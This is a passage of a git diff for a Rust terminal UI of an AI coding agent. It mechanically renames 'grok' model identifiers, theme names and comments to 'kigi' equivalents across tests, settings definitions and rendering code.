@@ -941,7 +941,7 @@ mod tests {
 
     #[test]
     fn bar_total_cells_always_sum_to_one_hundred() {
-        let block = ContextInfoBlock::new(snapshot(), "grok-4");
+        let block = ContextInfoBlock::new(snapshot(), "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         let (_, _, _, total) = count_bar_glyphs(&lines, BarLayout::WIDE);
@@ -957,7 +957,7 @@ mod tests {
         snap.tool_definitions_tokens = 0;
         snap.message_tokens = 0;
         snap.free_tokens = 0;
-        let block = ContextInfoBlock::new(snap, "grok-4");
+        let block = ContextInfoBlock::new(snap, "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         let (diamonds, tools, free, total) = count_bar_glyphs(&lines, BarLayout::WIDE);
@@ -979,7 +979,7 @@ mod tests {
         snap.message_tokens = 1_000;
         snap.free_tokens = 0;
         snap.usage_pct = 100;
-        let block = ContextInfoBlock::new(snap, "grok-4");
+        let block = ContextInfoBlock::new(snap, "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         let (diamonds, tools, free, total) = count_bar_glyphs(&lines, BarLayout::WIDE);
@@ -999,7 +999,7 @@ mod tests {
         snap.tool_definitions_tokens = 800;
         snap.free_tokens = 0;
         snap.usage_pct = 100;
-        let block = ContextInfoBlock::new(snap, "grok-4");
+        let block = ContextInfoBlock::new(snap, "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         let (diamonds, tools, free, total) = count_bar_glyphs(&lines, BarLayout::WIDE);
@@ -1027,7 +1027,7 @@ mod tests {
             auto_compact_threshold_percent: 65,
             usage_categories: vec![],
         };
-        let block = ContextInfoBlock::new(snap, "grok-build");
+        let block = ContextInfoBlock::new(snap, "kigi");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
 
@@ -1055,7 +1055,7 @@ mod tests {
             TokenUsageCategory::skills_listing(&"x".repeat(9_600), 21),
             TokenUsageCategory::mcp_servers(&"y".repeat(1_200), 4),
         ];
-        let block = ContextInfoBlock::new(snap, "grok-4");
+        let block = ContextInfoBlock::new(snap, "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         let all = all_text(&lines);
@@ -1161,7 +1161,7 @@ mod tests {
 
     #[test]
     fn narrow_bar_renders_10_rows() {
-        let block = ContextInfoBlock::new(snapshot(), "grok-4");
+        let block = ContextInfoBlock::new(snapshot(), "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::NARROW);
         // The bar starts at index 5 (header / blank / tokens / model /
@@ -1179,7 +1179,7 @@ mod tests {
 
     #[test]
     fn narrow_bar_total_cells_still_100() {
-        let block = ContextInfoBlock::new(snapshot(), "grok-4");
+        let block = ContextInfoBlock::new(snapshot(), "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::NARROW);
         let (_, _, _, total) = count_bar_glyphs(&lines, BarLayout::NARROW);
@@ -1190,7 +1190,7 @@ mod tests {
     fn narrow_bar_each_row_has_at_most_10_cells() {
         // Sanity: no single bar row should exceed the narrow row_len.
         // We count cell glyphs (not separator spaces) per row.
-        let block = ContextInfoBlock::new(snapshot(), "grok-4");
+        let block = ContextInfoBlock::new(snapshot(), "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::NARROW);
         for (offset, line) in lines[5..15].iter().enumerate() {
@@ -1215,7 +1215,7 @@ mod tests {
 
     #[test]
     fn wide_bar_each_row_has_at_most_20_cells() {
-        let block = ContextInfoBlock::new(snapshot(), "grok-4");
+        let block = ContextInfoBlock::new(snapshot(), "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         for (offset, line) in lines[5..10].iter().enumerate() {
@@ -1258,7 +1258,7 @@ mod tests {
 
     #[test]
     fn legend_label_uses_secondary_color_wide() {
-        let block = ContextInfoBlock::new(snapshot(), "grok-4");
+        let block = ContextInfoBlock::new(snapshot(), "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         let row = find_legend_line(&lines, "System prompt").expect("legend row");
@@ -1279,7 +1279,7 @@ mod tests {
 
     #[test]
     fn legend_label_uses_secondary_color_narrow() {
-        let block = ContextInfoBlock::new(snapshot(), "grok-4");
+        let block = ContextInfoBlock::new(snapshot(), "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::NARROW);
         let row = find_legend_line(&lines, "System prompt").expect("legend row 1");
@@ -1299,7 +1299,7 @@ mod tests {
 
     #[test]
     fn narrow_legend_wraps_to_two_lines_per_category() {
-        let block = ContextInfoBlock::new(snapshot(), "grok-4");
+        let block = ContextInfoBlock::new(snapshot(), "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::NARROW);
         let categories = [
@@ -1335,7 +1335,7 @@ mod tests {
 
     #[test]
     fn narrow_legend_data_row_starts_with_one_space_indent() {
-        let block = ContextInfoBlock::new(snapshot(), "grok-4");
+        let block = ContextInfoBlock::new(snapshot(), "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::NARROW);
         // The data row for the first legend entry sits at index 17
@@ -1355,7 +1355,7 @@ mod tests {
 
     #[test]
     fn wide_legend_remains_single_line_per_category() {
-        let block = ContextInfoBlock::new(snapshot(), "grok-4");
+        let block = ContextInfoBlock::new(snapshot(), "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         let row_text =
diff --git a/crates/codegen/kigi-tui/src/scrollback/blocks/mermaid_content.rs b/crates/codegen/kigi-tui/src/scrollback/blocks/mermaid_content.rs
index 8141532..9ac4a62 100644
--- a/crates/codegen/kigi-tui/src/scrollback/blocks/mermaid_content.rs
+++ b/crates/codegen/kigi-tui/src/scrollback/blocks/mermaid_content.rs
@@ -143,14 +143,14 @@ pub fn mermaid_block_ranges(view: &MarkdownRenderView) -> Vec<Range<usize>> {
 
 /// Whether a theme renders diagrams on a dark surface.
 ///
-/// `GrokDay` is the only light theme; every other concrete theme (and the
-/// `GrokNight` default that `Auto` resolves to before it reaches the cache) is
+/// `KigiDay` is the only light theme; every other concrete theme (and the
+/// `KigiNight` default that `Auto` resolves to before it reaches the cache) is
 /// dark. The render worker maps this to `kigi_mermaid::MermaidTheme`; it
 /// lives here (rather than referencing the engine crate) so the
 /// always-compiled detection module stays independent of the optional
 /// `mermaid` feature.
 pub fn theme_is_dark(theme: ThemeKind) -> bool {
-    !matches!(theme, ThemeKind::GrokDay)
+    !matches!(theme, ThemeKind::KigiDay)
 }
 
 /// Cache key for a rendered diagram: content hash + theme + quality tier +
@@ -580,7 +580,7 @@ mod tests {
     fn cache_key_sensitivity() {
         let dark = MermaidCacheKey::derive(
             "flowchart TD\nA-->B",
-            ThemeKind::GrokNight,
+            ThemeKind::KigiNight,
             80,
             MermaidRenderQuality::Terminal,
         );
@@ -589,7 +589,7 @@ mod tests {
             dark,
             MermaidCacheKey::derive(
                 "flowchart TD\nA-->B",
-                ThemeKind::GrokNight,
+                ThemeKind::KigiNight,
                 80,
                 MermaidRenderQuality::Terminal,
             )
@@ -599,7 +599,7 @@ mod tests {
             dark,
             MermaidCacheKey::derive(
                 "flowchart TD\nA-->C",
-                ThemeKind::GrokNight,
+                ThemeKind::KigiNight,
                 80,
                 MermaidRenderQuality::Terminal,
             )
@@ -609,7 +609,7 @@ mod tests {
             dark,
             MermaidCacheKey::derive(
                 "flowchart TD\nA-->B",
-                ThemeKind::GrokDay,
+                ThemeKind::KigiDay,
                 80,
                 MermaidRenderQuality::Terminal,
             )
@@ -619,7 +619,7 @@ mod tests {
             dark,
             MermaidCacheKey::derive(
                 "flowchart TD\nA-->B",
-                ThemeKind::GrokNight,
+                ThemeKind::KigiNight,
                 160,
                 MermaidRenderQuality::Terminal,
             )
@@ -627,7 +627,7 @@ mod tests {
         // Quality tier change ⇒ different key (and filename).
         let open = MermaidCacheKey::derive(
             "flowchart TD\nA-->B",
-            ThemeKind::GrokNight,
+            ThemeKind::KigiNight,
             80,
             MermaidRenderQuality::Open,
         );
@@ -638,7 +638,7 @@ mod tests {
             open,
             MermaidCacheKey::derive(
                 "flowchart TD\nA-->B",
-                ThemeKind::GrokNight,
+                ThemeKind::KigiNight,
                 999,
                 MermaidRenderQuality::Open,
             )
@@ -650,20 +650,20 @@ mod tests {
         // Widths within the same bucket collapse to one key.
         let a = MermaidCacheKey::derive(
             "x",
-            ThemeKind::GrokNight,
+            ThemeKind::KigiNight,
             80,
             MermaidRenderQuality::Terminal,
         );
         let b = MermaidCacheKey::derive(
             "x",
-            ThemeKind::GrokNight,
+            ThemeKind::KigiNight,
             80 + MERMAID_WIDTH_BUCKET - 1,
             MermaidRenderQuality::Terminal,
         );
         assert_eq!(a, b);
         let c = MermaidCacheKey::derive(
             "x",
-            ThemeKind::GrokNight,
+            ThemeKind::KigiNight,
             80 + MERMAID_WIDTH_BUCKET,
             MermaidRenderQuality::Terminal,
         );
@@ -677,7 +677,7 @@ mod tests {
         let mut set = HashSet::new();
         let key = MermaidCacheKey::derive(
             "A-->B\n",
-            ThemeKind::GrokNight,
+            ThemeKind::KigiNight,
             80,
             MermaidRenderQuality::Terminal,
         );
@@ -685,7 +685,7 @@ mod tests {
         assert!(set.contains(&key));
         assert!(!set.contains(&MermaidCacheKey::derive(
             "A-->B\n",
-            ThemeKind::GrokDay,
+            ThemeKind::KigiDay,
             80,
             MermaidRenderQuality::Terminal,
         )));
@@ -825,13 +825,13 @@ mod tests {
     // -- theme mapping + cache filename --------------------------------------
 
     #[test]
-    fn theme_is_dark_maps_grokday_to_light_only() {
+    fn theme_is_dark_maps_kigiday_to_light_only() {
         assert!(
-            !theme_is_dark(ThemeKind::GrokDay),
-            "GrokDay is the light theme"
+            !theme_is_dark(ThemeKind::KigiDay),
+            "KigiDay is the light theme"
         );
         for dark in [
-            ThemeKind::GrokNight,
+            ThemeKind::KigiNight,
             ThemeKind::TokyoNight,
             ThemeKind::RosePineMoon,
             ThemeKind::OscuraMidnight,
@@ -844,7 +844,7 @@ mod tests {
     fn cache_filename_is_stable_and_keyed() {
         let a = MermaidCacheKey::derive(
             "flowchart TD\nA-->B",
-            ThemeKind::GrokNight,
+            ThemeKind::KigiNight,
             80,
             MermaidRenderQuality::Terminal,
         );
@@ -860,21 +860,21 @@ mod tests {
         // Different theme / source / width → different filename.
         let b = MermaidCacheKey::derive(
             "flowchart TD\nA-->B",
-            ThemeKind::GrokDay,
+            ThemeKind::KigiDay,
             80,
             MermaidRenderQuality::Terminal,
         );
         assert_ne!(a.cache_filename(), b.cache_filename());
         let c = MermaidCacheKey::derive(
             "flowchart TD\nA-->C",
-            ThemeKind::GrokNight,
+            ThemeKind::KigiNight,
             80,
             MermaidRenderQuality::Terminal,
         );
         assert_ne!(a.cache_filename(), c.cache_filename());
         let open = MermaidCacheKey::derive(
             "flowchart TD\nA-->B",
-            ThemeKind::GrokNight,
+            ThemeKind::KigiNight,
             80,
             MermaidRenderQuality::Open,
         );
diff --git a/crates/codegen/kigi-tui/src/scrollback/blocks/session_event.rs b/crates/codegen/kigi-tui/src/scrollback/blocks/session_event.rs
index 58b6832..db595f2 100644
--- a/crates/codegen/kigi-tui/src/scrollback/blocks/session_event.rs
+++ b/crates/codegen/kigi-tui/src/scrollback/blocks/session_event.rs
@@ -794,13 +794,13 @@ mod tests {
     #[test]
     fn model_unavailable_with_switch() {
         let event = SessionEvent::ModelUnavailable {
-            previous_model_id: "grok-4.5".into(),
-            new_model_id: "grok-build".into(),
-            reason: "Model \"grok-4.5\" is no longer available.".into(),
+            previous_model_id: "kigi-4.5".into(),
+            new_model_id: "kigi".into(),
+            reason: "Model \"kigi-4.5\" is no longer available.".into(),
         };
         assert_eq!(
             event.message(),
-            "Model \"grok-4.5\" is no longer available. Switched to \"grok-build\"."
+            "Model \"kigi-4.5\" is no longer available. Switched to \"kigi\"."
         );
     }
 
diff --git a/crates/codegen/kigi-tui/src/scrollback/blocks/tool/edit.rs b/crates/codegen/kigi-tui/src/scrollback/blocks/tool/edit.rs
index 75af8df..9ea4922 100644
--- a/crates/codegen/kigi-tui/src/scrollback/blocks/tool/edit.rs
+++ b/crates/codegen/kigi-tui/src/scrollback/blocks/tool/edit.rs
@@ -2418,13 +2418,13 @@ mod tests {
     type Rgb = (u8, u8, u8);
     type SyntectSpans = Vec<(Rgb, String)>;
 
-    /// Pins GrokNight via the shared test-lock guard; hold it for the whole
+    /// Pins KigiNight via the shared test-lock guard; hold it for the whole
     /// test so a concurrent theme flip can't skew the compared highlighter walks.
-    fn pin_groknight_syntect() -> std::sync::MutexGuard<'static, ()> {
+    fn pin_kiginight_syntect() -> std::sync::MutexGuard<'static, ()> {
         let guard = crate::theme::cache::pin_theme();
         assert!(
-            !Theme::groknight().diff_uses_line_fg(),
-            "GrokNight must be banded for Equal-line syntect path in render"
+            !Theme::kiginight().diff_uses_line_fg(),
+            "KigiNight must be banded for Equal-line syntect path in render"
         );
         guard
     }
@@ -2454,7 +2454,7 @@ mod tests {
     }
 
     /// Hunk-only: fresh highlighter, only the given lines in order (prod path).
-    /// Caller pins the theme via `pin_groknight_syntect` (lock is not reentrant).
+    /// Caller pins the theme via `pin_kiginight_syntect` (lock is not reentrant).
     fn hunk_only_raw_styles(path: &Path, lines: &[&str]) -> Vec<SyntectSpans> {
         let syntect = get_syntect();
         let mut hl = syntect
@@ -2467,7 +2467,7 @@ mod tests {
     }
 
     /// Full-file then slice: silent HL from line 1, return styles for all lines.
-    /// Caller pins the theme via `pin_groknight_syntect` (lock is not reentrant).
+    /// Caller pins the theme via `pin_kiginight_syntect` (lock is not reentrant).
     fn full_file_raw_styles(path: &Path, file_text: &str) -> Vec<SyntectSpans> {
         let syntect = get_syntect();
         let mut hl = syntect
@@ -2505,7 +2505,7 @@ class ProcessQueueItem(BaseModel):
     /// Control: self-contained Rust line → keyword RGB ≠ string RGB (raw syntect).
     #[test]
     fn syntax_highlight_splits_keyword_and_string_fg() {
-        let _guard = pin_groknight_syntect();
+        let _guard = pin_kiginight_syntect();
         let path = Path::new("probe.rs");
         let lines = hunk_only_raw_styles(path, &["let x = \"hello\";"]);
         assert_eq!(lines.len(), 1);
@@ -2552,7 +2552,7 @@ class ProcessQueueItem(BaseModel):
     /// (and differ from cold hunk-only spill) after a mid-file closing `"""`.
     #[test]
     fn file_scoped_matches_full_file_on_field_line() {
-        let _guard = pin_groknight_syntect();
+        let _guard = pin_kiginight_syntect();
         let path = Path::new("queue_item.py");
         let (file, hunk, field_ln) = fixture_python_close_hunk();
         let close_ln = hunk[0].ln;
@@ -2629,7 +2629,7 @@ class ProcessQueueItem(BaseModel):
     /// baked under another theme it must not paint — hunk-only output.
     #[test]
     fn file_scoped_stale_theme_falls_back_to_hunk_only() {
-        let _guard = pin_groknight_syntect();
+        let _guard = pin_kiginight_syntect();
         let path = Path::new("queue_item.py");
         let (file, hunk, field_ln) = fixture_python_close_hunk();
         // Real computed map: paintable by construction (line keys and texts
@@ -2672,7 +2672,7 @@ class ProcessQueueItem(BaseModel):
         );
 
         // Stale: the SAME paintable map baked under another theme is skipped.
-        let stale = ThemeKind::GrokDay;
+        let stale = ThemeKind::KigiDay;
         assert_ne!(stale, crate::theme::cache::current_kind());
         block.highlight = EditHighlightPhase::FileScoped {
             by_new_line,
@@ -2739,7 +2739,7 @@ class ProcessQueueItem(BaseModel):
     /// after a mid-file closing `"""`.
     #[test]
     fn triple_quote_hunk_only_differs_from_full_file_today() {
-        let _guard = pin_groknight_syntect();
+        let _guard = pin_kiginight_syntect();
         let path = Path::new("queue_item.py");
         let (file, hunk, field_ln) = fixture_python_close_hunk();
         let close_ln = hunk[0].ln;
diff --git a/crates/codegen/kigi-tui/src/scrollback/blocks/tool/memory_search.rs b/crates/codegen/kigi-tui/src/scrollback/blocks/tool/memory_search.rs
index f423387..b2ca2d3 100644
--- a/crates/codegen/kigi-tui/src/scrollback/blocks/tool/memory_search.rs
+++ b/crates/codegen/kigi-tui/src/scrollback/blocks/tool/memory_search.rs
@@ -447,7 +447,7 @@ session content
 
     #[test]
     fn shorten_memory_path() {
-        // Paths under the configured grok memory root keep one trailing segment group.
+        // Paths under the configured kigi memory root keep one trailing segment group.
         let memory_root = kigi_config::kigi_home().join("memory");
         let session = memory_root.join("xai-50aa78f0/sessions/2026-05-01.md");
         let top = memory_root.join("MEMORY.md");
diff --git a/crates/codegen/kigi-tui/src/scrollback/blocks/tool/mod.rs b/crates/codegen/kigi-tui/src/scrollback/blocks/tool/mod.rs
index cdd22ef..0d41634 100644
--- a/crates/codegen/kigi-tui/src/scrollback/blocks/tool/mod.rs
+++ b/crates/codegen/kigi-tui/src/scrollback/blocks/tool/mod.rs
@@ -656,7 +656,7 @@ mod tests {
             ToolCallBlock::ListDir(ListDirToolCallBlock::new("src")),
             ToolCallBlock::Search(SearchToolCallBlock::new("todo")),
             ToolCallBlock::WebFetch(WebFetchToolCallBlock::new("https://example.com")),
-            ToolCallBlock::WebSearch(WebSearchToolCallBlock::new("grok")),
+            ToolCallBlock::WebSearch(WebSearchToolCallBlock::new("kigi")),
             ToolCallBlock::IntegrationSearch(IntegrationSearchToolCallBlock::new("linear")),
             ToolCallBlock::UseTool(UseToolCallBlock::new("linear__save_issue")),
             ToolCallBlock::MemorySearch(MemorySearchToolCallBlock::new("auth")),
diff --git a/crates/codegen/kigi-tui/src/scrollback/blocks/user.rs b/crates/codegen/kigi-tui/src/scrollback/blocks/user.rs
index 0598b9a..68880f2 100644
--- a/crates/codegen/kigi-tui/src/scrollback/blocks/user.rs
+++ b/crates/codegen/kigi-tui/src/scrollback/blocks/user.rs
@@ -1114,7 +1114,7 @@ mod tests {
     fn prompt_band_color_native_vs_rgb() {
         use ratatui::style::Color;
 
-        let theme = Theme::groknight();
+        let theme = Theme::kiginight();
         assert_eq!(
             UserPromptBlock::prompt_band_color_for(&theme, false, true),
             Some(Color::DarkGray)
diff --git a/crates/codegen/kigi-tui/src/scrollback/state/mod.rs b/crates/codegen/kigi-tui/src/scrollback/state/mod.rs
index 594ed35..3ce459a 100644
--- a/crates/codegen/kigi-tui/src/scrollback/state/mod.rs
+++ b/crates/codegen/kigi-tui/src/scrollback/state/mod.rs
@@ -950,9 +950,9 @@ impl ScrollbackState {
         if let Some(entry) = self.entries.get_mut(&id)
             && let RenderBlock::ToolCall(ToolCallBlock::Execute(ref mut exec)) = entry.block
         {
-            // Replace output entirely — grok-shell sends full accumulated buffer each tick.
+            // Replace output entirely — kigi-shell sends full accumulated buffer each tick.
             // The shell now sends clean output (no ANSI codes) when the client sets
-            // x.ai/bashOutputNoColor: true, so no stripping is needed.
+            // kigi/bashOutputNoColor: true, so no stripping is needed.
             exec.output = Some(output.to_string());
             entry.invalidate_cache();
             self.dirty_heights.insert(id);
diff --git a/crates/codegen/kigi-tui/src/scrollback/state/verb_group.rs b/crates/codegen/kigi-tui/src/scrollback/state/verb_group.rs
index e231ff9..a3b31d7 100644
--- a/crates/codegen/kigi-tui/src/scrollback/state/verb_group.rs
+++ b/crates/codegen/kigi-tui/src/scrollback/state/verb_group.rs
@@ -542,7 +542,7 @@ mod tests {
         };
         // Three distinct URLs across two searches, one duplicated.
         let entries = vec![
-            searched("grok", &["https://a.com", "https://b.com"]),
+            searched("kigi", &["https://a.com", "https://b.com"]),
             searched("pager", &["https://b.com", "https://c.com"]),
         ];
         let l = label(&entries);
diff --git a/crates/codegen/kigi-tui/src/scrollback/text_selection.rs b/crates/codegen/kigi-tui/src/scrollback/text_selection.rs
index c38404a..cad83c0 100644
--- a/crates/codegen/kigi-tui/src/scrollback/text_selection.rs
+++ b/crates/codegen/kigi-tui/src/scrollback/text_selection.rs
@@ -2539,7 +2539,7 @@ mod tests {
     #[test]
     fn persistent_and_active_overlay_agree_on_same_endpoints() {
         // Pin theme to avoid races with parallel tests that call `cache::set`.
-        crate::theme::cache::set(crate::theme::ThemeKind::GrokNight);
+        crate::theme::cache::set(crate::theme::ThemeKind::KigiNight);
         let mut model = ResolvedSelectionModel::default();
         for i in 0..4u16 {
             model.push_line(ResolvedSelectableLine {
diff --git a/crates/codegen/kigi-tui/src/scrollback/wrappers/entry_renderer.rs b/crates/codegen/kigi-tui/src/scrollback/wrappers/entry_renderer.rs
index 40539ca..068eaa7 100644
--- a/crates/codegen/kigi-tui/src/scrollback/wrappers/entry_renderer.rs
+++ b/crates/codegen/kigi-tui/src/scrollback/wrappers/entry_renderer.rs
@@ -407,7 +407,7 @@ impl<'a> EntryRenderer<'a> {
     ///
     /// Mirrors `desired_height` but derives the content line count from the block's
     /// raw source text (`searchable_text`) instead of laying it out. Lets the layout
-    /// cache size off-screen entries on a bulk load (`grok -r`) without word-wrapping
+    /// cache size off-screen entries on a bulk load (`kigi -r`) without word-wrapping
     /// and markdown-rendering every entry (O(history)). On-screen entries get their
     /// EXACT `desired_height`, so visible content is never estimated.
     pub fn estimate_height(&self, width: u16) -> u16 {
@@ -1486,7 +1486,7 @@ mod tests {
         // Background blocks own the gutter via the existing full-area fill, so
         // the no-bg clear must not run for them. Concrete theme so bg_light !=
         // bg_base (Theme::current() quantizes both to Reset in the test env).
-        let theme = Theme::groknight();
+        let theme = Theme::kiginight();
         assert_ne!(
             theme.bg_light, theme.bg_base,
             "test premise: block bg must differ from base bg"
@@ -1517,14 +1517,14 @@ mod tests {
         // code rectangle gets a notch. Concrete theme so the two bgs differ.
         //
         // Requires color support: under `NO_COLOR` the global markdown style
-        // carries no code background while this test's local `groknight()`
+        // carries no code background while this test's local `kiginight()`
         // theme still has RGB — a mismatch impossible in production.
         // (Historically this passed under NO_COLOR only because the md_style
         // Reset→silver fallback bug painted a concrete bg despite the opt-out.)
         if !crate::theme::color_support::detect().has_color() {
             return;
         }
-        let theme = Theme::groknight();
+        let theme = Theme::kiginight();
         let mut entry = ScrollbackEntry::new(RenderBlock::agent_message("```\nZZZZ\n```\n"));
         // The code block's only content row is the first content row, which is
         // also where the timestamp overlay lands. Drop `created_at` so the
@@ -1802,7 +1802,7 @@ mod tests {
 
         // The off-screen estimate accounts for the affordance row (one per
         // diagram) and so never under-reserves vs the realized height — the
-        // invariant a bulk load (`grok -r`) relies on to avoid clipping.
+        // invariant a bulk load (`kigi -r`) relies on to avoid clipping.
         let est_on = r.estimate_height(80);
         assert_eq!(
             est_on,
@@ -1872,7 +1872,7 @@ mod tests {
         // their previews as panel is pinned by block-side tests.)
         use crate::scrollback::block::StubBlock;
 
-        let theme = Theme::groknight();
+        let theme = Theme::kiginight();
         let entry = ScrollbackEntry::new(RenderBlock::Stub(
             StubBlock::new("alpha\nbravo", Color::Blue).with_line_bg(LINE_BG, true),
         ));
@@ -1900,7 +1900,7 @@ mod tests {
         // tool-preview panels.
         use crate::scrollback::block::StubBlock;
 
-        let theme = Theme::groknight();
+        let theme = Theme::kiginight();
         let entry = ScrollbackEntry::new(RenderBlock::Stub(
             StubBlock::new("alpha\nbravo", Color::Blue).with_line_bg(LINE_BG, false),
         ));
diff --git a/crates/codegen/kigi-tui/src/settings/defs.rs b/crates/codegen/kigi-tui/src/settings/defs.rs
index dd2e662..f8d9176 100644
--- a/crates/codegen/kigi-tui/src/settings/defs.rs
+++ b/crates/codegen/kigi-tui/src/settings/defs.rs
@@ -12,7 +12,7 @@ use crate::appearance::TextSelection;
 use crate::appearance::permission_cursor::DefaultSelectedPermission;
 
 use kigi_shell::agent::config::UiConfig;
-use kigi_tools::implementations::grok_build::ask_user_question;
+use kigi_tools::implementations::kigi::ask_user_question;
 
 // ---------------------------------------------------------------------------
 // Int bounds for `max_thoughts_width`.
@@ -45,12 +45,12 @@ const THEME_CHOICES: &[EnumChoice] = &[
         description: "Follow system dark/light appearance.",
     },
     EnumChoice {
-        canonical: "groknight",
+        canonical: "kiginight",
         display: "Kigi Night",
         description: "Neutral dark with magenta accent.",
     },
     EnumChoice {
-        canonical: "grokday",
+        canonical: "kigiday",
         display: "Kigi Day",
         description: "Light theme for bright environments.",
     },
@@ -280,12 +280,12 @@ const SCREEN_MODE_CHOICES: &[EnumChoice] = &[
     EnumChoice {
         canonical: "fullscreen",
         display: "Fullscreen",
-        description: "Open plain grok in the standard fullscreen TUI. Default when unset.",
+        description: "Open plain kigi in the standard fullscreen TUI. Default when unset.",
     },
     EnumChoice {
         canonical: "minimal",
         display: "Minimal",
-        description: "Open plain grok in scrollback-native (minimal) mode.",
+        description: "Open plain kigi in scrollback-native (minimal) mode.",
     },
 ];
 
@@ -294,12 +294,12 @@ const SCREEN_MODE_CHOICES: &[EnumChoice] = &[
 /// the user can pair any theme with any system-appearance bucket.
 const CONCRETE_THEME_CHOICES: &[EnumChoice] = &[
     EnumChoice {
-        canonical: "groknight",
+        canonical: "kiginight",
         display: "Kigi Night",
         description: "Neutral dark with magenta accent.",
     },
     EnumChoice {
-        canonical: "grokday",
+        canonical: "kigiday",
         display: "Kigi Day",
         description: "Light theme for bright environments.",
     },
@@ -362,7 +362,7 @@ pub fn default_settings() -> Vec<SettingMeta> {
             category: SettingCategory::Appearance,
             owner: SettingOwner::Shell,
             label: "Default screen mode",
-            description: "How plain grok opens next time: Fullscreen (default when unset) or \
+            description: "How plain kigi opens next time: Fullscreen (default when unset) or \
                           Minimal. Writes [ui] screen_mode in config.toml. Restart required. \
                           Switch this session only with /minimal or /fullscreen.",
             keywords: &[
@@ -485,8 +485,8 @@ pub fn default_settings() -> Vec<SettingMeta> {
                 "light",
             ],
             kind: SettingKind::Enum {
-                // `Option<String>` — `None` resolved to "groknight".
-                default: "groknight",
+                // `Option<String>` — `None` resolved to "kiginight".
+                default: "kiginight",
                 choices: THEME_CHOICES,
                 supports_preview: true,
             },
@@ -501,8 +501,8 @@ pub fn default_settings() -> Vec<SettingMeta> {
             description: "Theme to use when the system is in dark mode (only with theme=auto).",
             keywords: &["auto", "dark", "theme", "system", "appearance", "night"],
             kind: SettingKind::Enum {
-                // `Option<String>` — `None` falls back to "groknight".
-                default: "groknight",
+                // `Option<String>` — `None` falls back to "kiginight".
+                default: "kiginight",
                 choices: CONCRETE_THEME_CHOICES,
                 supports_preview: true,
             },
@@ -517,8 +517,8 @@ pub fn default_settings() -> Vec<SettingMeta> {
             description: "Theme to use when the system is in light mode (only with theme=auto).",
             keywords: &["auto", "light", "theme", "system", "appearance", "day"],
             kind: SettingKind::Enum {
-                // `Option<String>` — `None` falls back to "grokday".
-                default: "grokday",
+                // `Option<String>` — `None` falls back to "kigiday".
+                default: "kigiday",
                 choices: CONCRETE_THEME_CHOICES,
                 supports_preview: true,
             },
@@ -636,7 +636,7 @@ pub fn default_settings() -> Vec<SettingMeta> {
             owner: SettingOwner::Shell,
             label: "Default model",
             description: "Model used for new sessions. Changing this also switches the active session. Pick `(no override)` to clear.",
-            keywords: &["model", "default", "agent", "llm", "grok", "switch"],
+            keywords: &["model", "default", "agent", "llm", "kigi", "switch"],
             kind: SettingKind::DynamicEnum {
                 default: "",
                 source: DynamicEnumSource::ActiveModelCatalog,
diff --git a/crates/codegen/kigi-tui/src/settings/registry.rs b/crates/codegen/kigi-tui/src/settings/registry.rs
index a9b778d..961d2cf 100644
--- a/crates/codegen/kigi-tui/src/settings/registry.rs
+++ b/crates/codegen/kigi-tui/src/settings/registry.rs
@@ -4,7 +4,7 @@
 
 use agent_client_protocol as acp;
 use kigi_shell::agent::config::UiConfig;
-use kigi_tools::implementations::grok_build::ask_user_question;
+use kigi_tools::implementations::kigi::ask_user_question;
 
 // ---------------------------------------------------------------------------
 // Types
@@ -72,7 +72,7 @@ impl SettingCategory {
 /// One choice in an `Enum` setting.
 #[derive(Debug, Clone, Copy)]
 pub struct EnumChoice {
-    /// Canonical persisted value (e.g. `"groknight"`).
+    /// Canonical persisted value (e.g. `"kiginight"`).
     pub canonical: &'static str,
     /// Display label shown in the chooser (e.g. `"Kigi Night"`).
     pub display: &'static str,
@@ -527,21 +527,21 @@ pub fn current_value_for(
             ui.theme
                 .as_deref()
                 .and_then(crate::theme::canonical_name)
-                .unwrap_or("groknight"),
+                .unwrap_or("kiginight"),
         )),
         "auto_dark_theme" => Some(SettingValue::Enum(
             ui.auto_dark_theme
                 .as_deref()
                 .and_then(crate::theme::canonical_name)
                 .filter(|s| *s != "auto")
-                .unwrap_or("groknight"),
+                .unwrap_or("kiginight"),
         )),
         "auto_light_theme" => Some(SettingValue::Enum(
             ui.auto_light_theme
                 .as_deref()
                 .and_then(crate::theme::canonical_name)
                 .filter(|s| *s != "auto")
-                .unwrap_or("grokday"),
+                .unwrap_or("kigiday"),
         )),
         // render_mermaid: SHELL-owned (persisted to `[ui].render_mermaid`).
         // Read from the process-wide cache mirror, which reflects the live value
@@ -734,7 +734,7 @@ mod tests {
                         .theme
                         .as_deref()
                         .and_then(crate::theme::canonical_name)
-                        .unwrap_or("groknight");
+                        .unwrap_or("kiginight");
                     assert_eq!(
                         *default, expected,
                         "theme default drifts from UiConfig::default()",
@@ -750,7 +750,7 @@ mod tests {
                         .as_deref()
                         .and_then(crate::theme::canonical_name)
                         .filter(|s| *s != "auto")
-                        .unwrap_or("groknight");
+                        .unwrap_or("kiginight");
                     assert_eq!(
                         *default, expected,
                         "auto_dark_theme default drifts from UiConfig::default()",
@@ -766,7 +766,7 @@ mod tests {
                         .as_deref()
                         .and_then(crate::theme::canonical_name)
                         .filter(|s| *s != "auto")
-                        .unwrap_or("grokday");
+                        .unwrap_or("kigiday");
                     assert_eq!(
                         *default, expected,
                         "auto_light_theme default drifts from UiConfig::default()",
@@ -1151,7 +1151,7 @@ mod tests {
         let value = current_value_for("auto_dark_theme", &ui, &pager).expect("must resolve");
